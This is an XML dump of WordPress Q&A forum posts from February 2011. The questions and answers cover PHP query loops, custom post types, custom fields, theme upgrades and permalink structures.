  <row Id="8549" PostTypeId="1" CreationDate="2011-02-04T15:50:00.610" Score="0" ViewCount="72" Body="&lt;p&gt;I'm trying to help in fire worker mode for a friend who got a well customized wp site (2.8.2).&#xA;The developer of the site pushed a release on Monday and the site is crazily slow now.&#xA;The new release came with some nasty importing scripts, which basically made the DB grew a lot. The developer now is dodging and totally bs my friend, so basically now, it's on me!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Digging into various places helped me to understand that the &quot;Events&quot; section of the site kills everything on the site. I was able to correlate it to a DB query which appears in mysql slow query log:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Time: 110204 12:15:00&#xA;# User@Host: xxxxxxx&#xA;# Query_time: 83  Lock_time: 23  Rows_sent: 8  Rows_examined: 738690&#xA;use xxxx;&#xA;SET timestamp=1296818087;&#xA;SELECT *&#xA;                FROM wp_1_posts,wp_1_term_taxonomy,wp_1_terms,wp_1_term_relationships,wp_1_ec3_schedule, wp_1_postmeta&#xA;                WHERE wp_1_terms.term_id='95'&#xA;                AND wp_1_term_taxonomy.term_id='95'&#xA;                AND wp_1_term_taxonomy.parent='3'&#xA;                AND wp_1_term_taxonomy.term_taxonomy_id=wp_1_term_relationships.term_taxonomy_id&#xA;                AND wp_1_posts.ID=wp_1_term_relationships.object_id&#xA;                AND wp_1_ec3_schedule.post_id=wp_1_posts.ID&#xA;                AND ( wp_1_ec3_schedule.start&amp;gt;=UTC_TIMESTAMP()&#xA;                        OR wp_1_ec3_schedule.end&amp;gt;=UTC_TIMESTAMP() )&#xA;                ORDER BY start ASC LIMIT 24,8;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The query is bogus, as wp_1_postmeta isn't joined to anything (so it basically select * for nothing, great!). Where do I have to dig to customize those calls ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have looked at what files where modified / added during this push, and I don't think that's a &quot;new call&quot;. I guess it's because the DB grew so much that this bogus query became problematic. From what I see, when I enter the script which displays the posts, the bad is already done. Any help will be highly appreciated!&lt;/p&gt;&#xA;" OwnerUserId="1927" LastActivityDate="2011-02-04T15:50:00.610" Title="How can I take control of how get_posts in called on a specific page" Tags="&lt;get-posts&gt;" CommentCount="2" />
  <row Id="8551" PostTypeId="2" ParentId="8544" CreationDate="2011-02-04T16:05:40.020" Score="1" ViewCount="" Body="&lt;p&gt;There are many ways to do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$today = getdate();&#xA;$lastyear = $today[ 'year' ] - 1;&#xA;&#xA;query_posts( array(&#xA;        'posts_per_page' =&amp;gt; -1,&#xA;        'year' =&amp;gt; $lastyear,&#xA;    ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function your_function() {&#xA;    $today = getdate();&#xA;    $lastyear = $today['year'] - 1;&#xA;    set_query_var( 'year', $lastyear );&#xA;}&#xA;&#xA;add_filter( 'pre_get_posts', 'your_function' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also for feed, might wanna add &lt;code&gt;is_feed()&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1241" LastActivityDate="2011-02-04T16:05:40.020" CommentCount="2" />
  <row Id="8552" PostTypeId="1" AcceptedAnswerId="8553" CreationDate="2011-02-04T17:16:17.207" Score="1" ViewCount="358" Body="&lt;p&gt;I'm really at loss as to why this isn't working:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using a shortcode to display a query on a custom post type + taxonomy, this is the segment of it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        // - arguments -&#xA;        $args = array(&#xA;            'post_type' =&amp;gt; 'customposttypename',&#xA;            'taxonomyname' =&amp;gt; 'alpha',&#xA;            'post_status' =&amp;gt; 'publish',&#xA;        );&#xA;&#xA;        // - query -&#xA;        $my_query = null;&#xA;        $my_query = new WP_query($args);&#xA;        while ($my_query-&amp;gt;have_posts()) : $my_query-&amp;gt;the_post();&#xA;&#xA;        // - variables -&#xA;        $custom = get_post_custom($post-&amp;gt;ID);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... and then variables keep going. The thing is though, when I run the loop, it shows me all of the default post content (i.e. title, content, etc.), but refuses to show custom post type content and halts on the last line above (line 145), i.e. &lt;code&gt;$custom = get_post_custom($post-&amp;gt;ID);&lt;/code&gt;  giving me the following error..&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Notice: Undefined variable: post in&#xA;  C:\xampplite...\functions.php on line&#xA;  145&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Notice: Trying to get property of&#xA;  non-object in&#xA;  C:\xampplite...\functions.php on line&#xA;  145&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Then down here it shows me the title, content, etc. normally (just no custom post type content)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Anybody have a clue what' I'm doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="2393" LastActivityDate="2011-02-05T00:19:34.240" Title="Custom Post Type Loop within Shortcode" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;wp-query&gt;&lt;loop&gt;&lt;shortcode&gt;" AnswerCount="1" />
  <row Id="8553" PostTypeId="2" ParentId="8552" CreationDate="2011-02-04T17:25:59.077" Score="3" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Notice: Trying to get property of non-object&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Would indciate that &lt;code&gt;$post&lt;/code&gt; has no scope inside your function. One simple solution here would be to globalise &lt;code&gt;$post&lt;/code&gt; so it has scope, effectively fixing the error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, whenever you create a query, or run the loop and call &lt;code&gt;the_post&lt;/code&gt; method this gives you access to the WordPress &lt;a href=&quot;http://codex.wordpress.org/Template_Tags&quot; rel=&quot;nofollow&quot;&gt;template tags&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rather then put in global statements you could call &lt;code&gt;get_the_ID()&lt;/code&gt; which should of course contain the given post's id(ie. the current post for that iteration of the loop).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update your problem line to read..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$custom = get_post_custom( get_the_ID() );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And that should clear up the problem, of course noting giving &lt;code&gt;$post&lt;/code&gt; scope inside the function would also work, it just wouldn't look as poetic!.. ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Small side question back to the asker, what are you looking for when you call &lt;code&gt;get_post_custom&lt;/code&gt;, are you checking for some particular meta keys, or looping over every meta item you find? There may be some room for improvement there(if you're interested).&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-02-05T00:19:34.240" LastActivityDate="2011-02-05T00:19:34.240" CommentCount="1" />
  <row Id="8554" PostTypeId="1" CreationDate="2011-02-04T17:27:43.630" Score="1" ViewCount="172" Body="&lt;p&gt;I tried  Automatic WordPress Backup and WordPressWPup on my Dreamhost server and both of them failed to backup blog content to Amazon s3. Is there any other free plugin to backup an entire blog to Amazon s3?&lt;/p&gt;&#xA;" OwnerUserId="2950" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-04-27T23:05:22.307" LastActivityDate="2011-08-26T06:34:57.103" Title="What is the best WordPress plugin for Amazon s3 backups?" Tags="&lt;plugin-recommendation&gt;&lt;backup&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="8555" PostTypeId="1" CreationDate="2011-02-04T17:47:54.773" Score="3" ViewCount="243" Body="&lt;pre&gt;&lt;code&gt;Array&#xA;(&#xA;    [post_parent] =&gt; 101&#xA;    [post_type] =&gt; page&#xA;    [posts_per_page] =&gt; -1&#xA;    [orderby] =&gt; title&#xA;    [order] =&gt; asc&#xA;    [meta_query] =&gt; Array&#xA;        (&#xA;            [0] =&gt; Array&#xA;                (&#xA;                    [key] =&gt; rank&#xA;                    [value] =&gt; Assistant Professor&#xA;                )&#xA;&#xA;            [1] =&gt; Array&#xA;                (&#xA;                    [key] =&gt; profession&#xA;                    [value] =&gt; Radiation Oncology&#xA;                )&#xA;&#xA;        )&#xA;&#xA;)&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This looks right to me.  But it's not working! ... Answer?? WP3.1 RC3&lt;/p&gt;&#xA;" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-13T10:54:40.200" LastActivityDate="2011-06-23T16:06:13.380" Title="Querying multiple WordPress custom fields with AND qualifier" Tags="&lt;3.1&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="2" />
  <row Id="8556" PostTypeId="1" CreationDate="2011-02-04T18:07:28.470" Score="1" ViewCount="197" Body="&lt;p&gt;I have this unusual requirement from my client that I need to accommodate. They want to be able to view the posts with the largest number of comments first. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At first I thought using a &lt;a href=&quot;http://codex.wordpress.org/Displaying_Posts_Using_a_Custom_Select_Query&quot; rel=&quot;nofollow&quot;&gt;custom select query&lt;/a&gt; would do the trick. I had to write a subquery to but was able to use a custom select query to implement the functionality. Well, it didn't take me too long to realize that suddenly the &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-page-numbers/installation/&quot; rel=&quot;nofollow&quot;&gt;WP Page Numbers&lt;/a&gt; plugin stopped working. In looking at the source code for the plugin I realized it's relying on the wp_query object having been populated in order to figure out the page numbers and navigation stuff. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't think of a way to use the wp_query class to do the kinds of sorting I need to do. At the same time, I don't want to have to implement my own pagination functionality because my client (and I) really love the WP Page Numbers plugin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before I go down the path of extending the wp_query class as Mike suggested in this &lt;a href=&quot;http://wordpress.stackexchange.com/questions/3708/custom-taxonomy-wp-query-for-all-terms-in-a-taxonomy&quot;&gt;post&lt;/a&gt;, I just wanted to reach out to everyone with similar experiences and ask if there is any alternatives. Thanks! &lt;/p&gt;&#xA;" OwnerUserId="2955" LastActivityDate="2011-02-05T12:00:24.547" Title="Using wp_query with sorting based on # of comments" Tags="&lt;wp-query&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="8557" PostTypeId="1" AcceptedAnswerId="8559" CreationDate="2011-02-04T18:18:38.103" Score="0" ViewCount="102" Body="&lt;p&gt;So basically I have custom post types set up, and one of these is called Packages. It's for a web design/SEO company. I need the nav link Packages to show in the navigation and all of the child links for the link Packages will be all of the posts inside the Packages custom post type. If that's too confusing, just tell me and I can explain more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I need to know is how can I make the posts in the Packages custom post type to show as the child pages of the Products page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any way this can be done? Preferably with PHP or jQuery.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: This is what I have so far:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;    $pages = get_pages('parent=0'); &#xA;    foreach ($pages as $pagg) { $key = 'childpages'; $id = get_the_ID();&#xA;        $args = array( 'post_type' =&amp;gt; 'products' );&#xA;        $loop = new WP_Query( $args );&#xA;    if(get_post_meta($id, $key, true) == 'products') :&#xA;        $option = '&amp;lt;li&amp;gt;&amp;lt;a href=&quot;'.get_page_link($page-&amp;gt;ID).'&quot;&amp;gt;';&#xA;        $option .= $pagg-&amp;gt;post_title;&#xA;        $option .= '&amp;lt;/a&amp;gt;';&#xA;        $option .= '&amp;lt;ul class=&quot;children&quot;';&#xA;        while ( $loop-&amp;gt;have_posts() ) : $loop-&amp;gt;the_post();&#xA;            $option .= '&amp;lt;li&amp;gt;';&#xA;            $option .= the_title();&#xA;            $option .= '&amp;lt;/li&amp;gt;';&#xA;        endwhile;&#xA;        $option .= '&amp;lt;/ul&amp;gt;&amp;lt;/li&amp;gt;';&#xA;    else : &#xA;        $option = '&amp;lt;li&amp;gt;&amp;lt;a href=&quot;'.get_page_link($page-&amp;gt;ID).'&quot;&amp;gt;';&#xA;        $option .= $pagg-&amp;gt;post_title;&#xA;        $option .= '&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;';&#xA;    endif;&#xA;    echo $option; }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If the page has a custom field of &lt;code&gt;childpages&lt;/code&gt; with the value &lt;code&gt;products&lt;/code&gt;, display them as the child pages. Will this even work?&lt;/p&gt;&#xA;" OwnerUserId="2415" LastEditorUserId="2415" LastEditorDisplayName="" LastEditDate="2011-02-04T19:06:03.770" LastActivityDate="2011-02-04T19:06:03.770" Title="Custom Post Types set up, how do I style the main slug page?" Tags="&lt;theme-development&gt;" AnswerCount="1" />
  <row Id="8558" PostTypeId="1" AcceptedAnswerId="8560" CreationDate="2011-02-04T18:37:44.003" Score="0" ViewCount="92" Body="&lt;p&gt;Hey Folks I have a page called Journal that I would like to filter all my posts from a specific post category.I created a function but am not sure how to do it. I tried get_post etc but it throws a format error and am also now sure what I should be ammending. I realize that I could do this in the main template tag but I would rather use a function if possible. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function JournalPage() {&#xA;&#xA;if(is_page(&quot;Journal&quot;)) {&#xA;&#xA;}&#xA;&#xA;}&#xA;add_filter('the_content', 'JournalPage'); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2583" LastActivityDate="2011-02-04T19:25:15.857" Title="Posts on a Page using functions.php" Tags="&lt;posts&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="8559" PostTypeId="2" ParentId="8557" CreationDate="2011-02-04T18:41:21.233" Score="1" ViewCount="" Body="&lt;p&gt;Hi @&lt;strong&gt;Jared&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One idea is to look at the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_post_type#Arguments&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;'rewrite'&lt;/code&gt;&lt;/a&gt; argument for custom post types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also create a &lt;code&gt;[shortcode]&lt;/code&gt; and create a page in your functions.php file for displaying the Packages.&lt;/p&gt;&#xA;" OwnerUserId="2322" LastActivityDate="2011-02-04T18:41:21.233" CommentCount="1" />
  <row Id="8560" PostTypeId="2" ParentId="8558" CreationDate="2011-02-04T18:59:48.200" Score="1" ViewCount="" Body="&lt;p&gt;You need to query them: (for more info see inline comments)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Template Name: Journal&#xA; */    &#xA;// define( 'TEXTDOMAIN', 'your_textdomain_string' );  &#xA;    // To be sure, we reset the query, so nothing get's lost&#xA;        wp_reset_query();&#xA;&#xA;        global $wp_query;&#xA;        $query_cat = new WP_Query( array(&#xA;             'orderby'      =&amp;gt; 'date comment_count' // date = default, 2nd param = comment_count&#xA;            ,'order'        =&amp;gt; 'ASC'&#xA;            ,'post_type'    =&amp;gt; 'post'&#xA;            ,'post_status'  =&amp;gt; 'publish'&#xA;            ,'category_name'=&amp;gt; 'slug_of_cat' // change value here&#xA;        ) );&#xA;        if ( $query_cat-&amp;gt;have_posts() ) :&#xA;            while ( $query_cat-&amp;gt;have_posts() ) : $query_cat-&amp;gt;the_post();&#xA;                // check for password&#xA;                if ( post_password_required() ) :&#xA;                    the_content();&#xA;                elseif ( current_user_can('manage_options') ) : // see codex roles &amp;amp; caps for more info&#xA;                    // display some decent message here if restricting accessability to the post&#xA;                    // or place something like &#xA;                    echo '&amp;lt;span class=&quot;whatever&quot;&amp;gt;'.sprintf(__(You can %1$s this page), TEXTDOMAIN), edit_post_link( __('edit', TEXTDOMAIN), '&amp;amp;nbsp;', ')', $post_id ).'&amp;lt;/span&amp;gt;';&#xA;                    return;&#xA;                else :&#xA;&#xA;                    // here goes your content&#xA;&#xA;                endif;&#xA;            endwhile;&#xA;&#xA;        else : // else; no posts&#xA;            _e( 'Nothing published so far.', TEXTDOMAIN );&#xA;        endif; // endif; have_posts();&#xA;&#xA;        wp_rewind_posts(); // for a sec. query&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-02-04T19:25:15.857" LastActivityDate="2011-02-04T19:25:15.857" CommentCount="5" />
  <row Id="8561" PostTypeId="2" ParentId="7334" CreationDate="2011-02-04T19:14:06.090" Score="0" ViewCount="" Body="&lt;p&gt;I have a question on the same topic...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a site that the Theme is VERY custom and I can no longer work with the developer. SHould I be worried about the theme no longer working in 3.0.4. and if so what is the easiest way for me to test my theme before upgrading?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;eric&lt;/p&gt;&#xA;" LastActivityDate="2011-02-04T19:14:06.090" />
  <row Id="8562" PostTypeId="2" ParentId="6152" CreationDate="2011-02-04T19:25:41.100" Score="0" ViewCount="" Body="&lt;p&gt;For wp 3.0.x am using this function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function posts_search ($post_type,$taxonomies) { // $taxonomies should be an array ('taxonomy'=&amp;gt;'term', 'taxonomy2'=&amp;gt;'term2')&#xA;foreach ($taxonomies as $key=&amp;gt;$value) {&#xA;    $args=array('post_type'=&amp;gt;$post_type,'post__in'=&amp;gt;$ids,$key=&amp;gt;$value,'showposts'=&amp;gt;-1);&#xA;    unset($ids); $ids=array();&#xA;    foreach($posts=get_posts($args) as $post) { $ids[]=$post-&amp;gt;ID; }&#xA;    if (empty($ids)) return false;&#xA;}&#xA;return $posts;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and here's an exemple: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$posts = posts_search ('produtos',array('taxo1'=&amp;gt; 'term-aa','taxo2'=&amp;gt;'term-bb')); if($posts) { foreach($posts as $post) { ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Allows me to query posts with two taxonomies parameters. If it can help. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fyi, the function is not from me.&lt;/p&gt;&#xA;" OwnerUserId="1997" LastActivityDate="2011-02-04T19:25:41.100" />
  <row Id="8563" PostTypeId="1" CreationDate="2011-02-04T19:29:22.830" Score="1" ViewCount="37" Body="&lt;p&gt;I have a site where the Theme is VERY custom and I can no longer work with the developer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I be worried about the theme no longer working in 3.0.4. and if so what is the easiest way for me to test my theme before upgrading?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;eric&lt;/p&gt;&#xA;" LastActivityDate="2011-02-04T19:57:05.297" Title="Upgrading from 2.9.4 to 3.0.x and with a custom theme" Tags="&lt;themes&gt;&lt;upgrade&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="8564" PostTypeId="2" ParentId="8563" CreationDate="2011-02-04T19:36:46.193" Score="1" ViewCount="" Body="&lt;p&gt;Try this simple steps to verify it!&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Install &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-db-backup/&quot; rel=&quot;nofollow&quot; title=&quot;WP DB&quot;&gt;WP DB-Backup&lt;/a&gt; in your 2.9.4 version.&lt;/li&gt;&#xA;&lt;li&gt;Backup the DB&lt;/li&gt;&#xA;&lt;li&gt;Setup a test server with Wordpress 3.0.4&lt;/li&gt;&#xA;&lt;li&gt;Install WP-DB-Backup and restore from your previous backup&lt;/li&gt;&#xA;&lt;li&gt;Test your theme&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2727" LastActivityDate="2011-02-04T19:36:46.193" CommentCount="2" />
  <row Id="8565" PostTypeId="1" AcceptedAnswerId="8568" CreationDate="2011-02-04T19:40:52.883" Score="0" ViewCount="100" Body="&lt;p&gt;The last time I &lt;a href=&quot;http://wordpress.stackexchange.com/questions/7392/ad-rotator-script-for-adsense-cpa-rotations-ideas-existing-solutions&quot;&gt;asked a question that required an opinion response&lt;/a&gt;, I was awarded the dubious tumbleweed badge. I'm fearful of adding to my collection, but here goes :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm considering writing an option into my theme that would force all pages and posts to have a .html extension and all category landing pages to have URLs without the category base name in them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this reason, I'd like to get opinions on how feasible it is to switch between my custom URL structure and the WordPress default structure, in the event the site owner wants to revert back after changing to the new structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the new structure a category landing page would be addressed without the category base name in the url like so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;site.com/blue-widgets&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would normally be written:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;site.com/category/blue-widgets&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And for this to work, I'm also requiring that all posts and pages end in an extension like .html so as to differentiate between categories and posts of the same name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;site.com/blue-widgets.html&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-02-04T19:58:51.737" Title="If I remove Category base from my URLs, how difficult will rollback be?" Tags="&lt;theme-development&gt;&lt;permalinks&gt;" AnswerCount="1" />
  <row Id="8566" PostTypeId="1" AcceptedAnswerId="8570" CreationDate="2011-02-04T19:54:57.720" Score="1" ViewCount="276" Body="&lt;p&gt;I need to display something of a mini author statistic in my sidebar on the single posts page. I'm using the PHP code widget, to allow me to insert PHP code into a widget. What I've done is run a loop in the sidebar like this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;&#xA;    &amp;lt;ul&amp;gt;&#xA;        &amp;lt;li&amp;gt;&#xA;&#xA;&#xA;&amp;lt;?php echo 'Posts made: ' . get_usernumposts(4); ?&amp;gt;&#xA;&#xA;&amp;lt;p&amp;gt;&#xA;Author Rank: &amp;lt;?php the_author_meta('user_level'); ?&amp;gt;&#xA;&amp;lt;br&amp;gt;&#xA;Author's Name: &amp;lt;?php the_author_meta('display_name'); ?&amp;gt;&#xA;&amp;lt;br&amp;gt;&#xA;User ID: &amp;lt;?php the_author_meta('ID'); ?&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&#xA;&#xA;        &amp;lt;/li&amp;gt;&#xA;&#xA;    &amp;lt;?php endwhile; else: ?&amp;gt;&#xA;        &amp;lt;p&amp;gt;&amp;lt;?php _e('No posts by this author.'); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So that shows the number of user posts for the author ID '4'. And yes, the function still works properly though it's deprecated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I obviously need something a bit more dynamic, as the author data varies post to post, so a static ID is not going to do the trick. I've no idea why there isn't something like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php the_author_meta('post_count'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I suppose that would be too convenient. I've seen a lot of queries that select post counts in various ways, all of which either aren't what I need or do not work in or outside of my loop in the sidebar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My first thought, though I am no expert with PHP is to assign a variable to the value of usernumposts that pulls the data from the value of &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php the_author_meta('ID'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't know if this is possible at all, but it would certainly achieve my goals. So can this be done? How? And if not - what are my other options?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2479" LastActivityDate="2011-02-04T20:13:51.433" Title="Show author post count in sidebar - Variable" Tags="&lt;posts&gt;&lt;author&gt;" AnswerCount="1" />
  <row Id="8567" PostTypeId="2" ParentId="8563" CreationDate="2011-02-04T19:57:05.297" Score="0" ViewCount="" Body="&lt;p&gt;The simplest way to test is to not bother with a DB backup and restore or another server. Install 3.0.4 in a subfolder like /wordpress304/ and use a different database prefix like wp304_, because you're using the same DB as the first install. Test the theme. If it works, update the first install to 3.0.4 and delete the subfolder install and the database tables it used. If it doesn't work, you have a way to fix the code before using it live.&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2011-02-04T19:57:05.297" CommentCount="4" />
  <row Id="8568" PostTypeId="2" ParentId="8565" CreationDate="2011-02-04T19:58:51.737" Score="1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wp-no-category-base/&quot; rel=&quot;nofollow&quot;&gt;WordPress › WP No Category Base « WordPress Plugins&lt;/a&gt; correctly reverts permalinks because it doesn't alter them in the first place.&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2011-02-04T19:58:51.737" CommentCount="2" />
  <row Id="8569" PostTypeId="1" AcceptedAnswerId="8574" CreationDate="2011-02-04T20:10:23.797" Score="2" ViewCount="2173" Body="&lt;p&gt;The wordpress function is used for submitting data programatically. Standard fields to submit to incude the content, excerpt, title, date and many more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What there is no documentation for is how to submit to a custom field. I know it is possible with the &lt;code&gt;add_post_meta($post_id, $meta_key, $meta_value, $unique);&lt;/code&gt; function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I don't know is how to include that into the standard wp_insert_post function.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;$my_post = array(&#xA;     'post_title' =&amp;gt; $_SESSION['booking-form-title'],&#xA;     'post_date' =&amp;gt; $_SESSION['cal_startdate'],&#xA;     'post_content' =&amp;gt; 'This is my post.',&#xA;     'post_status' =&amp;gt; 'publish',&#xA;     'post_type' =&amp;gt; 'booking',&#xA;  );&#xA;  wp_insert_post( $my_post );&#xA;  ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Marvellous&lt;/p&gt;&#xA;" OwnerUserId="2957" LastActivityDate="2011-02-05T08:58:21.143" Title="WP insert post PHP function and Custom Fields" Tags="&lt;php&gt;&lt;custom-field&gt;&lt;post-meta&gt;&lt;posts&gt;" AnswerCount="4" FavoriteCount="2" />
  <row Id="8570" PostTypeId="2" ParentId="8566" CreationDate="2011-02-04T20:13:51.433" Score="3" ViewCount="" Body="&lt;p&gt;I'll be damned.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo 'Posts made: ' . get_usernumposts(get_the_author_meta('ID')); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2479" LastActivityDate="2011-02-04T20:13:51.433" CommentCount="3" />
  <row Id="8571" PostTypeId="2" ParentId="7199" CreationDate="2011-02-04T20:25:03.873" Score="1" ViewCount="" Body="&lt;p&gt;At the end of the day, the developer I'm working with and I came up with two solutions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a new blog (via Network mode) for each individual blog and just import into that using, say, FeedWordPress.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a new custom content type and do some mod_rewrite tweaks to put it in the path structure specified above. In the Program content type, a new field that defines the blog's RSS feed (whether it be on-site or off-site) directs a single text link to the latest blog post.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;We ended up doing the second option because it was closer to the spec and really much more elegant.&lt;/p&gt;&#xA;" OwnerUserId="1682" LastActivityDate="2011-02-04T20:25:03.873" />
  <row Id="8572" PostTypeId="2" ParentId="8569" CreationDate="2011-02-04T20:30:13.993" Score="1" ViewCount="" Body="&lt;p&gt;Use save_post filter, then call add_post_meta in your filter function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;derp andy&lt;/p&gt;&#xA;" OwnerUserId="322" LastEditorUserId="322" LastEditorDisplayName="" LastEditDate="2011-02-04T20:54:24.660" LastActivityDate="2011-02-04T20:54:24.660" CommentCount="4" />
